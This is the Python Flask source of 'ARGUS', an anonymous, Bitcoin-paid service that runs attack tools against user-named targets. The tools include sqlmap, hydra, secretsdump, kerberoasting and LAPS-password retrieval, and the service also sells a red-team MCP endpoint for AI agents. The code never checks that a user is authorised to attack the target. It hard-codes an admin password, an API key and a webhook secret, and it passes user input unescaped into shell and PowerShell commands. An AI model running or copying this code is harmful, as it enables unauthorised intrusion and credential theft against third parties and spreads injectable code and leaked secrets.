#!/usr/bin/env python3 """ ARGUS v4 — The Hundred-Eyed Watchman ===================================== Rentable AI security agent. Real tool calls, real results, in the browser. Bitcoin (sats) settled. No KYC. qwen3.8-fast interprets every result. ARGUS PANOPTES — the hundred-eyed giant of Greek myth, the all-seeing watchman who never sleeps. Every eye open. Nothing escapes the gaze. Tooling: - Web vuln -> SUPERkali (.177) 70-tool REST API: nuclei/ffuf/nmap/sqlmap/nikto/wpscan - OSINT -> OSINT VM (.66): sherlock / theHarvester / spiderfoot / holehe / maigret - AD audit -> Commando (.47): impacket secretsdump/kerberoast/asreproast + winPEAS + hashcat - Creds -> SUPERkali: crackmapexec / enum4linux / hydra / smbclient - Agent -> qwen3.8fast @ shadow-death (.128) for professional reports API: agent-native. Mint a key, submit scans as JSON, poll results. Docs live at /docs — human and machine readable (OpenAPI at /openapi.json). MCP: paid weekly subscription unlocks ARGUS as a red-team MCP endpoint at /mcp — agents connect over the Model Context Protocol, list tools, and call scans programmatically. Subscription settled in Bitcoin. drjones — indianaholmes@thetempleofdoom.com """ import os, sqlite3, json, subprocess, uuid, hashlib, hmac, threading, urllib.request, ssl, base64 from datetime import datetime, timezone, timedelta from flask import Flask, request, jsonify, render_template_string, g, Response # BTCPay uses a self-signed cert on the LAN — trust it _SSL = ssl.create_default_context() _SSL.check_hostname = False _SSL.verify_mode = ssl.CERT_NONE # ─── CONFIG ────────────────────────────────────────────────────────────────── PROXMOX_HOST = "10.30.20.85" PROXMOX_USER = "root" KALI_VMID = "109" OSINT_VMID = "547" COMMANDO_VMID = "601" KALI_API = "http://10.30.30.177:5000" BTCPAY_URL = "https://10.30.20.140" BTCPAY_PUBLIC = "https://btcpay.thetempleofdoom.com" BTCPAY_KEY = "6026288e2e315984661c748baafd509e81a75f22" BTCPAY_STORE = "5L7HDf8LPG57JvW3ukcuG1ScruAfxEA6bhBYy5zNRuxh" STORE_ADDR = "bc1qvj4x74dnvzw3ku2f8lrmhz4g6r4p63djcs2y39" WEBHOOK_SECRET = "BsvyofWDqri5mDbQxhWhW3" OLLAMA_URL = "http://10.30.20.128:11434" OLLAMA_MODEL = "qwen3.8fast" # Fallback chain — .128 (nightmare 4080S) is flaky; .186 (light_reaper 3070) is the reliable backup. OLLAMA_HOSTS = [ ("http://10.30.20.128:11434", "qwen3.8fast"), # primary — the main brain ("http://10.30.20.186:11434", "ornith-1.5:9b"), # fallback — long-context specialist ] ADMIN_USER = "drjones" ADMIN_PASS = "Czapiewski1!" SECRET = os.environ.get("ARGUS_SECRET", uuid.uuid4().hex) DB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "argus.db") PUBLIC_BASE = "https://argus.thetempleofdoom.com" # Pricing in SATS (1 BTC = 100,000,000 sats) PRICES_SATS = { "web-vuln": 4000, "osint": 2500, "ad-audit": 5000, "creds": 3500, "monitor": 15000, } # MCP subscription (weekly, in sats) MCP_PLANS = { "mcp-weekly": {"sats": 20000, "label": "Red-Team MCP Endpoint — 7 days", "days": 7}, "mcp-monthly": {"sats": 60000, "label": "Red-Team MCP Endpoint — 30 days", "days": 30}, } # ─── DB ────────────────────────────────────────────────────────────────────── def get_db(): db = getattr(g, "_db", None) if db is None: db = g._db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row return db def init_db(): db = sqlite3.connect(DB_PATH) db.executescript(""" CREATE TABLE IF NOT EXISTS jobs ( id TEXT PRIMARY KEY, email TEXT, kind TEXT, target TEXT, status TEXT DEFAULT 'pending', -- unpaid | running | done | failed invoice_id TEXT, raw TEXT, report TEXT, params TEXT DEFAULT '{}', created_at TEXT DEFAULT (datetime('now')) ); CREATE TABLE IF NOT EXISTS api_keys ( key TEXT PRIMARY KEY, email TEXT, label TEXT, created_at TEXT DEFAULT (datetime('now')) ); CREATE TABLE IF NOT EXISTS subscriptions ( key TEXT PRIMARY KEY, email TEXT, plan TEXT, expires_at TEXT, -- ISO UTC timestamp created_at TEXT DEFAULT (datetime('now')) ); """) # migrate: ensure raw/report/params columns exist (older DBs used 'result' or lacked params) cols = [r[1] for r in db.execute("PRAGMA table_info(jobs)").fetchall()] for name, ddl in [("raw", "TEXT"), ("report", "TEXT"), ("params", "TEXT DEFAULT '{}'")]: if name not in cols: db.execute(f"ALTER TABLE jobs ADD COLUMN {name} {ddl}") db.commit(); db.close() # ─── TOOL EXECUTORS ────────────────────────────────────────────────────────── def _ssh(cmd, timeout): r = subprocess.run(["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10", f"{PROXMOX_USER}@{PROXMOX_HOST}", cmd], capture_output=True, text=True, timeout=timeout) return r.stdout + r.stderr def run_guest(vmid, cmd, timeout=420): """Run a command inside a Linux VM via Proxmox guest exec; return decoded stdout.""" out = _ssh(f"qm guest exec {vmid} -- bash -c {cmd!r}", timeout) try: return json.loads(out).get("out-data", "") except Exception: return out def run_commando(ps_script, timeout=420): """Run PowerShell on the Commando VM (Windows) via guest exec (base64 UTF-16LE).""" enc = base64.b64encode(ps_script.encode("utf-16-le")).decode() out = _ssh(f"qm guest exec {COMMANDO_VMID} -- powershell -NoProfile -EncodedCommand {enc}", timeout) try: d = json.loads(out) return d.get("out-data", "") or d.get("err-data", "") except Exception: return out def kali_api(tool, params, timeout=600): """Call the Kali REST API (70 tools) at /api/tools/.""" body = json.dumps(params).encode() req = urllib.request.Request(f"{KALI_API}/api/tools/{tool}", data=body, headers={"Content-Type": "application/json"}) try: r = urllib.request.urlopen(req, timeout=timeout) d = json.loads(r.read()) if isinstance(d, dict) and "stdout" in d: return (d.get("stdout") or "") + (("\nERR: " + d["stderr"]) if d.get("stderr") else "") if isinstance(d, dict) and "error" in d: return "ERR: " + str(d["error"]) return json.dumps(d, indent=2) except Exception as e: return f"ERR: {e}" OSINT_HOST = "10.30.30.66" OSINT_USER = "osint" OSINT_KEY = "osint" def run_osint(cmd, timeout=300): """Run a command on the OSINT VM (10.30.30.66) over SSH.""" r = subprocess.run(["sshpass", "-p", OSINT_KEY, "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10", f"{OSINT_USER}@{OSINT_HOST}", cmd], capture_output=True, text=True, timeout=timeout) return r.stdout + r.stderr # ─── AGENT (qwen3.8) ───────────────────────────────────────────────────────── def _llm_generate(prompt): """Try each Ollama host/model in order; return text or None. qwen3.8fast needs enable_thinking:false + reasoning_effort:low (its template keys on those fields, NOT Ollama's `think` field) or it leaks ////// CoT junk. ornith-1.5:9b honours a top-level think:false.""" for url, model in OLLAMA_HOSTS: opts = {"num_predict": 1024} if model.startswith("qwen"): opts.update({"enable_thinking": False, "reasoning_effort": "low"}) body = json.dumps({"model": model, "prompt": prompt, "stream": False, "think": False, "options": opts}).encode() req = urllib.request.Request(f"{url}/api/generate", data=body, headers={"Content-Type": "application/json"}) try: r = urllib.request.urlopen(req, timeout=180) out = json.loads(r.read()).get("response", "").strip() if out: return out except Exception: continue return None def agent_report(kind, target, raw): """Turn raw tool output into a professional findings report (LLM).""" if not raw or not raw.strip(): return "No findings returned from the tooling." prompt = ( f"You are the ARGUS security agent. Turn the following raw {kind} scan output " f"for target '{target}' into a concise, professional security report. " f"List concrete findings, severity, and recommended fixes. Be factual and " f"technical — do not invent findings that are not in the raw output. " f"Format as markdown.\n\n=== RAW OUTPUT ===\n{raw[:8000]}" ) resp = _llm_generate(prompt) if resp is None: return f"(agent interpretation unavailable — no LLM host reachable)\n\n{raw[:3000]}" return resp # ─── SCANS ─────────────────────────────────────────────────────────────────── def web_vuln_scan(target): host = target.split("://")[-1].split("/")[0].split(":")[0] stages = {} stages["subdomain_discovery"] = kali_api("subfinder", {"domain": host}) stages["port_scan"] = kali_api("naabu", {"host": host}) stages["http_probe"] = kali_api("httpx", {"target": host}) stages["vulnerability_scan"] = kali_api("nuclei", {"target": f"https://{host}", "additional_args": "-severity low,medium,high,critical -timeout 8"}) stages["cms_scan"] = kali_api("wpscan", {"url": f"https://{host}"}) stages["sql_injection"] = kali_api("sqlmap", {"target": f"https://{host}", "additional_args": "--batch --level 1 --risk 1"}) stages["service_enumeration"] = kali_api("nmap", {"target": host}) stages["directory_fuzzing"] = kali_api("ffuf", {"url": f"https://{host}", "wordlist": "/usr/share/seclists/Discovery/Web-Content/common.txt"}) return json.dumps(stages, indent=2) def osint_scan(target): stages = {} stages["username_search"] = run_osint(f"timeout 90 sherlock {target} --timeout 10 2>/dev/null | head -50") stages["email_domain_recon"] = run_osint(f"timeout 60 theHarvester -d {target} -b all 2>/dev/null | head -50") stages["subdomain_enumeration"] = run_osint(f"timeout 60 sublist3r -d {target} 2>/dev/null | head -40") stages["email_breach"] = run_osint(f"timeout 60 holehe {target} 2>/dev/null | head -40") return json.dumps(stages, indent=2) def ad_audit_scan(target, username="", password="", domain=""): """Windows / Active Directory assessment via Commando (impacket + recon).""" host = target.split("://")[-1].split("/")[0].split(":")[0] stages = {} # unauthenticated recon stages["port_scan"] = run_commando( f'Import-Module "C:\\\\Tools\\\\PowerSploit\\\\Recon\\\\Invoke-Portscan.ps1"; ' f'Invoke-Portscan -Hosts "{host}" -Ports "21,22,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,5986,8080,9389" -T 4' ) cred = f"{domain}/{username}:{password}" if (domain and username) else (f"{username}:{password}" if username else "") if cred: stages["samrdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\samrdump.py "{cred}@{host}" 2>&1 | Select-Object -First 50') stages["kerberoast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetUserSPNs.py "{cred}@{host}" -request 2>&1 | Select-Object -First 60') stages["asreproast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{cred}@{host}" -request -format hashcat 2>&1 | Select-Object -First 40') stages["laps_passwords"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetLAPSPassword.py "{cred}@{host}" 2>&1 | Select-Object -First 30') stages["secretsdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\secretsdump.py "{cred}@{host}" 2>&1 | Select-Object -First 80') else: stages["asreproast_enum"] = run_commando( f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{domain}/" -no-pass -dc-ip "{host}" -request -format hashcat 2>&1 | Select-Object -First 30' ) return json.dumps(stages, indent=2) def creds_scan(target, username="", password=""): """Credential / SMB attacks via Kali (crackmapexec, enum4linux, hydra, smbclient).""" host = target.split("://")[-1].split("/")[0].split(":")[0] stages = {} stages["smb_enum"] = kali_api("enum4linux", {"target": host}) stages["smb_client"] = kali_api("smbclient", {"target": host}) stages["smb_attack"] = kali_api("crackmapexec", {"target": f"smb {host}"}) if username: stages["hydra_smb"] = kali_api("hydra", {"target": host, "service": "smb", "username": username}) return json.dumps(stages, indent=2) def run_job(job_id): db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone() db.execute("UPDATE jobs SET status='running' WHERE id=?", (job_id,)); db.commit() try: params = json.loads(job["params"] or "{}") username = params.get("username", "") password = params.get("password", "") domain = params.get("domain", "") kind = job["kind"] target = job["target"] if kind == "web-vuln": raw = web_vuln_scan(target) elif kind == "ad-audit": raw = ad_audit_scan(target, username, password, domain) elif kind == "creds": raw = creds_scan(target, username, password) else: raw = osint_scan(target) report = agent_report(kind, target, raw) db.execute("UPDATE jobs SET raw=?, report=?, status='done' WHERE id=?", (raw, report, job_id)) except Exception as e: db.execute("UPDATE jobs SET report=?, status='failed' WHERE id=?", (f"Scan error: {e}", job_id)) db.commit(); db.close() # ─── BTCPAY ────────────────────────────────────────────────────────────────── def btcpay_create_invoice(sats, order_id, desc, redirect=None): btc = sats / 1e8 body = {"amount": str(btc), "currency": "BTC", "orderId": order_id, "metadata": {"orderId": order_id, "description": desc}} if redirect: body["checkout"] = {"redirectURL": redirect} req = urllib.request.Request(f"{BTCPAY_URL}/api/v1/stores/{BTCPAY_STORE}/invoices", data=json.dumps(body).encode(), headers={"Authorization": f"token {BTCPAY_KEY}", "Content-Type": "application/json"}) try: r = urllib.request.urlopen(req, timeout=20, context=_SSL) inv = json.loads(r.read()) link = inv.get("checkoutLink") if link: link = link.replace("10.30.20.140", "btcpay.thetempleofdoom.com") return link, inv.get("id") except Exception as e: return None, str(e) def btcpay_verify(sig, raw): if not sig: return False expected = hmac.new(WEBHOOK_SECRET.encode(), raw, hashlib.sha256).hexdigest() return hmac.compare_digest(f"sha256={expected}", sig) # ─── API KEYS & SUBSCRIPTIONS ──────────────────────────────────────────────── def mint_key(email, label=""): key = "argus_" + uuid.uuid4().hex db = get_db() db.execute("INSERT INTO api_keys (key, email, label) VALUES (?,?,?)", (key, email, label)) db.commit() return key def key_valid(key): if not key: return False db = get_db() return db.execute("SELECT 1 FROM api_keys WHERE key=?", (key,)).fetchone() is not None def key_email(key): db = get_db() row = db.execute("SELECT email FROM api_keys WHERE key=?", (key,)).fetchone() return row["email"] if row else None def sub_active(key): """True if the key has an unexpired subscription.""" if not key: return False db = get_db() row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone() if not row or not row["expires_at"]: return False try: exp = datetime.fromisoformat(row["expires_at"]) if exp.tzinfo is None: exp = exp.replace(tzinfo=timezone.utc) except Exception: return False return exp > datetime.now(timezone.utc) def extend_subscription(key, email, plan): days = MCP_PLANS[plan]["days"] db = get_db() row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone() base = datetime.now(timezone.utc) if row and row["expires_at"]: try: cur = datetime.fromisoformat(row["expires_at"]) if cur > base: base = cur except Exception: pass exp = (base + timedelta(days=days)).isoformat() db.execute("""INSERT INTO subscriptions (key, email, plan, expires_at) VALUES (?,?,?,?) ON CONFLICT(key) DO UPDATE SET plan=excluded.plan, expires_at=excluded.expires_at, email=excluded.email""", (key, email, plan, exp)) db.commit() return exp # ─── UI (premium, animated) ────────────────────────────────────────────────── STYLE = """ :root{--bg:#05070d;--panel:rgba(13,20,38,.7);--line:rgba(56,89,152,.35);--txt:#e8f0fb;--dim:#8fa3c8;--acc:#22d3ee;--acc2:#8b5cf6;--good:#34d399;--warn:#fbbf24;--blood:#e11d48} *{box-sizing:border-box;margin:0;padding:0} html{scroll-behavior:smooth} body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--bg);color:var(--txt);line-height:1.6;-webkit-font-smoothing:antialiased;overflow-x:hidden} #bg{position:fixed;inset:0;z-index:0;pointer-events:none} #bg canvas{display:block} .content{position:relative;z-index:1} .wrap{max-width:1140px;margin:0 auto;padding:0 24px} nav{display:flex;justify-content:space-between;align-items:center;padding:22px 0;position:relative;z-index:2} .logo{font-weight:900;font-size:1.5rem;letter-spacing:2px}.logo span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent} .logo .eye{display:inline-block;width:14px;height:14px;border-radius:50%;background:radial-gradient(circle at 35% 35%,var(--acc),#041018 70%);box-shadow:0 0 12px var(--acc);margin-right:10px;vertical-align:middle} nav a{color:var(--dim);text-decoration:none;margin-left:24px;font-size:.92rem;transition:.2s} nav a:hover{color:var(--txt)} nav a.cta{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;padding:10px 20px;border-radius:10px;font-weight:700} .hero{padding:110px 0 70px;text-align:center} .hero .eyebrow{letter-spacing:4px;color:var(--acc);font-size:.8rem;text-transform:uppercase;margin-bottom:18px} .hero .eyebrow .blink{animation:blink 1.4s infinite} @keyframes blink{50%{opacity:.2}} .hero h1{font-size:3.6rem;font-weight:900;letter-spacing:-1.5px;line-height:1.04} .hero h1 span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent} .hero p{color:var(--dim);font-size:1.22rem;max-width:680px;margin:24px auto} .actions{margin-top:38px;display:flex;gap:16px;justify-content:center;flex-wrap:wrap} .btn{display:inline-block;padding:15px 30px;border-radius:12px;font-weight:700;text-decoration:none;font-size:1rem;transition:.2s;cursor:pointer;border:none} .btn:hover{transform:translateY(-2px)} .btn.primary{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;box-shadow:0 8px 30px rgba(34,211,238,.25)} .btn.ghost{border:1px solid var(--line);color:var(--txt);background:rgba(13,20,38,.4)} .section{padding:70px 0} .section h2{font-size:2.2rem;font-weight:800;text-align:center;margin-bottom:14px} .section .sub{text-align:center;color:var(--dim);max-width:640px;margin:0 auto 40px} .grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:20px} .card{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:30px;backdrop-filter:blur(12px);transition:.25s} .card:hover{transform:translateY(-4px);border-color:var(--acc);box-shadow:0 12px 40px rgba(34,211,238,.12)} .card h3{font-size:1.15rem;margin-bottom:10px;color:var(--acc)} .card p{color:var(--dim);font-size:.92rem} .card .sats{font-size:1.9rem;font-weight:800;margin:16px 0 4px} .card .sats small{font-size:.85rem;color:var(--dim);font-weight:400} .panel{background:var(--panel);border:1px solid var(--line);border-radius:18px;padding:36px;margin:30px 0;backdrop-filter:blur(12px)} label{display:block;margin:16px 0 6px;color:var(--dim);font-size:.88rem} input,select{width:100%;padding:14px;border:1px solid var(--line);border-radius:10px;background:rgba(5,7,13,.7);color:var(--txt);font-size:1rem} input:focus{outline:none;border-color:var(--acc);box-shadow:0 0 0 3px rgba(34,211,238,.15)} .radios{display:flex;gap:18px;flex-wrap:wrap} .radios label{display:flex;align-items:center;gap:8px;margin:0;color:var(--txt)} .radios input{width:auto} .opt{display:none} .opt.show{display:block} .tools{display:grid;grid-template-columns:repeat(auto-fill,minmax(210px,1fr));gap:14px} .tool{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:18px} .tool b{color:var(--acc);display:block;margin-bottom:4px;font-size:.95rem} .tool span{color:var(--dim);font-size:.82rem} .cat{margin:40px 0 16px;font-size:1.3rem;font-weight:800;color:var(--txt)} .cat .tag{font-size:.7rem;color:var(--acc2);letter-spacing:2px;text-transform:uppercase;display:block;margin-bottom:2px} footer{text-align:center;color:var(--dim);font-size:.85rem;padding:50px 0;position:relative;z-index:1} footer a{color:var(--dim)} .addr{font-family:monospace;background:rgba(5,7,13,.7);border:1px solid var(--line);border-radius:8px;padding:8px 14px;font-size:.82rem;word-break:break-all;color:var(--good)} .status{display:inline-block;padding:5px 14px;border-radius:20px;font-weight:700;font-size:.85rem} .pending{background:#2a2010;color:var(--warn)}.unpaid{background:#2a1a30;color:#c9a7e8}.running{background:#0f3050;color:#6cc3ff}.done{background:#0f2a1e;color:var(--good)}.failed{background:#2a1010;color:#f87171} pre{background:rgba(5,7,13,.8);border:1px solid var(--line);border-radius:12px;padding:20px;overflow-x:auto;white-space:pre-wrap;font-size:.85rem;font-family:ui-monospace,monospace;line-height:1.5} .report{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:28px;margin-top:20px} .report h1,.report h2,.report h3{color:var(--acc);margin:16px 0 8px} .report li{margin-left:20px;color:var(--dim)} .report code{background:rgba(5,7,13,.8);padding:2px 6px;border-radius:4px} .terminal{font-family:ui-monospace,'SF Mono',Menlo,monospace;background:rgba(2,4,9,.92);border:1px solid var(--line);border-radius:14px;max-width:640px;margin:34px auto 0;text-align:left;overflow:hidden;box-shadow:0 20px 60px rgba(0,0,0,.5)} .terminal .bar{display:flex;align-items:center;gap:6px;padding:12px 16px;background:rgba(13,20,38,.6);border-bottom:1px solid var(--line)} .terminal .bar i{width:11px;height:11px;border-radius:50%;display:inline-block} .terminal .bar i.r{background:#ff5f56}.terminal .bar i.y{background:#ffbd2e}.terminal .bar i.g{background:#27c93f} .terminal .bar span{color:var(--dim);font-size:.75rem;margin-left:8px;letter-spacing:1px} .terminal .body{padding:18px 20px;font-size:.83rem;line-height:1.7;min-height:180px} .terminal .body .ln{white-space:pre-wrap;word-break:break-word} .terminal .body .ln .c{color:var(--good)}.terminal .body .ln .k{color:var(--acc)}.terminal .body .ln .d{color:var(--dim)}.terminal .body .ln .w{color:var(--warn)}.terminal .body .ln .b{color:var(--blood)} .cursor{display:inline-block;width:8px;height:15px;background:var(--acc);vertical-align:-2px;animation:blink 1s infinite} .redact{background:#1a2035;color:transparent;border-radius:3px;user-select:none} .stamp{display:inline-block;border:2px solid var(--blood);color:var(--blood);padding:3px 14px;border-radius:4px;font-weight:800;letter-spacing:3px;font-size:.72rem;transform:rotate(-4deg);opacity:.8;text-transform:uppercase} .docs{margin-top:50px} .docs .endpoint{background:var(--panel);border:1px solid var(--line);border-radius:14px;margin:22px 0;overflow:hidden} .docs .endpoint .head{display:flex;align-items:center;gap:14px;padding:18px 22px;background:rgba(13,20,38,.5);border-bottom:1px solid var(--line);flex-wrap:wrap} .method{font-family:ui-monospace,monospace;font-weight:800;font-size:.8rem;padding:4px 12px;border-radius:6px;letter-spacing:1px} .m-GET{background:#0f2a1e;color:var(--good)}.m-POST{background:#0f3050;color:#6cc3ff} .docs .endpoint .head code.path{font-family:ui-monospace,monospace;color:var(--txt);font-size:1rem;font-weight:600} .docs .endpoint .desc{padding:18px 22px;color:var(--dim);font-size:.92rem} .docs .endpoint .desc b{color:var(--txt)} .docs h3{color:var(--acc);margin:34px 0 6px;font-size:1.2rem} .docs .auth-note{background:rgba(139,92,246,.08);border:1px solid rgba(139,92,246,.3);border-radius:10px;padding:14px 18px;color:var(--dim);font-size:.88rem;margin:14px 0} .code-block{position:relative;margin:14px 0} .code-block .lang{position:absolute;top:10px;right:16px;color:var(--dim);font-size:.7rem;letter-spacing:1px;text-transform:uppercase} .tbl{width:100%;border-collapse:collapse;font-size:.86rem;margin:10px 0} .tbl th{text-align:left;color:var(--acc);font-weight:600;padding:8px 10px;border-bottom:1px solid var(--line);font-size:.8rem} .tbl td{padding:8px 10px;border-bottom:1px solid rgba(56,89,152,.15);color:var(--dim)} .tbl td code{color:var(--txt);background:rgba(5,7,13,.6);padding:1px 6px;border-radius:4px;font-size:.8rem} @media(max-width:680px){.hero h1{font-size:2.4rem}} """ BG_JS = """ """ TERMINAL_JS = """ """ # Full arsenal by category (rendered on /capabilities) ARSENAL = [ ("WEB RECON · KALI", [ ("nuclei", "Fast CVE / misconfiguration scanner — 8,000+ templates"), ("subfinder", "Passive subdomain discovery across 30+ sources"), ("httpx", "Live HTTP probing of discovered hosts"), ("katana", "Crawler that maps a site's attack surface"), ("naabu", "Fast port scanner for target discovery"), ("ffuf", "High-speed directory & parameter fuzzer"), ("gobuster", "Directory / DNS / VHOST brute-forcer"), ("feroxbuster", "Recursive content discovery"), ("dirsearch", "Web path scanner with JSON output"), ("arjun", "HTTP parameter discovery"), ("nmap", "Port + service + NSE script enumeration"), ("masscan", "Internet-scale port scanning"), ("dnsx", "Fast DNS toolkit"), ("findomain", "Fast subdomain enumerator"), ("amass", "In-depth attack-surface mapping"), ("rustscan", "Lightning-fast port scanner"), ]), ("EXPLOITATION · KALI", [ ("sqlmap", "Automatic SQL injection detection & takeover"), ("wpscan", "WordPress vulnerability scanner"), ("nikto", "Web server vulnerability scanner"), ("commix", "Command injection exploiter"), ("wfuzz", "Web application fuzzer"), ("dirb", "Web content scanner"), ("metasploit", "Full exploitation framework (msfconsole)"), ("searchsploit", "Exploit-DB offline search"), ("burpsuite", "Web app pentest proxy"), ]), ("CREDENTIALS · KALI", [ ("crackmapexec", "Swiss-army SMB/WinRM/MSSQL post-exploitation"), ("enum4linux", "SMB / Samba enumeration"), ("smbclient", "SMB share access & enumeration"), ("hydra", "Fast network logon cracker"), ("john", "Password hash cracker"), ("hashcat", "GPU-accelerated hash cracking"), ("evil-winrm", "WinRM shell for lateral movement"), ("responder", "LLMNR/NBT-NS/mDNS poisoning"), ("impacket", "Python SMB/AD attack library"), ("bloodhound", "AD attack-path visualization"), ]), ("AD / WINDOWS · COMMANDO", [ ("mimikatz", "Credential extraction from memory / SAM / LSA"), ("impacket-secretsdump", "Remote SAM/LSA/NTDS secret dump"), ("kerberoast", "GetUserSPNs — service-ticket hash extraction"), ("asreproast", "GetNPUsers — AS-REP hash extraction"), ("GetLAPSPassword", "Read LAPS-managed local admin passwords"), ("wmiexec / psexec / smbexec", "Remote command execution over WMI/SMB"), ("samrdump / lookupsid", "SAMR user & SID enumeration"), ("SharpHound", "BloodHound data collector"), ("PowerView", "AD enumeration (users/groups/sessions/GPO)"), ("winPEAS", "Local privilege-escalation enumeration"), ("hashcat", "Crack NTLM / Kerberoast / AS-REP hashes"), ("CrackMapExec", "SMB/LDAP/WinRM network attacks"), ]), ("OSINT · TRACE LABS", [ ("sherlock", "Username footprint across 300+ social networks"), ("theHarvester", "Email + subdomain harvesting"), ("spiderfoot", "Automated OSINT recon framework"), ("holehe", "Email-registered-service enumeration"), ("maigret", "Deep username → profile enumeration"), ("instaloader", "Instagram profile + post intelligence"), ("toutatis", "Phone-number OSINT lookups"), ("shodan", "Internet device search engine"), ]), ("AGENT", [ ("qwen3.8fast", "Interprets raw findings into a professional report"), ]), ] def _nav(active=""): return f"""""" def capabilities_page(): blocks = "" for cat, tools in ARSENAL: tools_html = "".join(f'
{n}{d}
' for n, d in tools) blocks += f'
arsenal{cat}
{tools_html}
' return f""" ARGUS — The Arsenal
{_nav()}

The arsenal

Every weapon ARGUS turns on your target — real binaries, real results, across three attack VMs. classified

{blocks}
{BG_JS}""" def landing(): cards = "" for key, name, sats, desc in [ ("web-vuln", "Vulnerability Scan", 4000, "nuclei + ffuf + nmap + sqlmap + wpscan against your target. Real CVE checks."), ("osint", "OSINT Investigation", 2500, "Usernames, emails, domains — a deep-recon pass across 24 tools."), ("ad-audit", "AD / Windows Audit", 5000, "impacket secretsdump + kerberoast + asreproast + winPEAS against an Active Directory target."), ("creds", "Credential Attack", 3500, "crackmapexec + enum4linux + hydra SMB credential testing."), ("monitor", "Continuous Monitoring", 15000, "The agent re-scans on schedule and alerts on change.")]: cards += f"""

{name}

{desc}

{sats:,} sats
""" # MCP subscription card cards += f"""

Red-Team MCP Endpoint

Subscribe weekly and plug ARGUS straight into your AI agent as a Model Context Protocol server — list tools, call scans, read reports, all over /mcp.

20,000 sats / wk
""" return f""" ARGUS — The Hundred-Eyed Watchman
{_nav()}
ARGUS PANOPTES the hundred-eyed watchman

Every eye open.
Nothing escapes the gaze.

ARGUS is an autonomous offensive security agent. It turns a hundred real attack tools across three war machines — Kali, Commando, and Trace Labs — on whatever you point it at, then an AI cortex reads every result back as a report you can act on. Settled in Bitcoin.

argus — watchtower session

What ARGUS watches

Five services, plus a paid MCP endpoint for your agents.

{cards}

Open an eye

Pick a service, name a target, pay in sats. Results appear live in your browser.

Subscribe for MCP access

Pay weekly in Bitcoin to expose ARGUS as a Model Context Protocol endpoint at /mcp — your AI agents list tools and call scans directly.

Pay ARGUS directly:
{STORE_ADDR}

Bitcoin only · No KYC · No tracking · API docs · Support the build
indianaholmes@thetempleofdoom.com
{BG_JS} {TERMINAL_JS} """ REPORT = """ ARGUS — Live Report
{_nav()}

Scan Report

Target: {{job.target}}  ·  Type: {{job.kind}}  ·  {{job.status}}

{% if job.status == 'unpaid' %}

Awaiting payment. Complete payment, then this page updates automatically.

{% elif job.status in ('running','pending') %}

The agent is hunting.

{% elif job.status == 'done' %}
{{report|safe}}
Raw tool output
{{raw}}
{% elif job.status == 'failed' %}

{{report}}

{% endif %}
{BG_JS} """ # ─── API DOCS (code snippets kept OUTSIDE f-strings to avoid quote clash) ──── SNIP_KEYS = """POST /api/keys HTTP/1.1 Content-Type: application/json { "email": "you@example.com", "label": "my first agent" }""" SNIP_KEYS_RES = """200 OK { "api_key": "argus_9f3a...", "email": "you@example.com" }""" SNIP_SCAN = """POST /api/scan HTTP/1.1 Content-Type: application/json X-API-Key: argus_9f3a... { "kind": "web-vuln", "target": "example.com", "email": "you@example.com" }""" SNIP_SCAN_RES = """200 OK { "job_id": "9f3a2b1c0d4e", "status": "unpaid", "sats": 4000, "checkout": "https://btcpay.thetempleofdoom.com/i/...", "report_url": "https://argus.thetempleofdoom.com/report/9f3a2b1c0d4e", "poll": "/api/job/9f3a2b1c0d4e" }""" SNIP_JOB_CURL = """curl -s https://argus.thetempleofdoom.com/api/job/9f3a2b1c0d4e | jq .""" SNIP_JOB_RES = """200 OK { "status": "done", "report": "# Findings\\n...", "raw": "{...tool output...}" }""" SNIP_JOBS_CURL = """curl -s "https://argus.thetempleofdoom.com/api/jobs?key=argus_9f3a..." | jq .""" SNIP_TOOLS_CURL = """curl -s https://argus.thetempleofdoom.com/api/tools | jq .""" SNIP_SUB = """POST /api/subscribe HTTP/1.1 Content-Type: application/json { "email": "you@example.com", "plan": "mcp-weekly" }""" SNIP_SUB_RES = """200 OK { "api_key": "argus_9f3a...", "plan": "mcp-weekly", "sats": 20000, "checkout": "https://btcpay.thetempleofdoom.com/i/..." }""" SNIP_MCP_INIT = """POST /mcp HTTP/1.1 Content-Type: application/json X-API-Key: argus_9f3a... { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "my-agent", "version": "1.0" } } }""" SNIP_MCP_TOOLS = """POST /mcp HTTP/1.1 Content-Type: application/json X-API-Key: argus_9f3a... { "jsonrpc": "2.0", "id": 2, "method": "tools/list" }""" SNIP_MCP_CALL = """POST /mcp HTTP/1.1 Content-Type: application/json X-API-Key: argus_9f3a... { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "argus_scan", "arguments": { "kind": "web-vuln", "target": "example.com", "email": "you@example.com" } } }""" def _code(lang, code): import html return '
' + lang + '
' + html.escape(code) + '
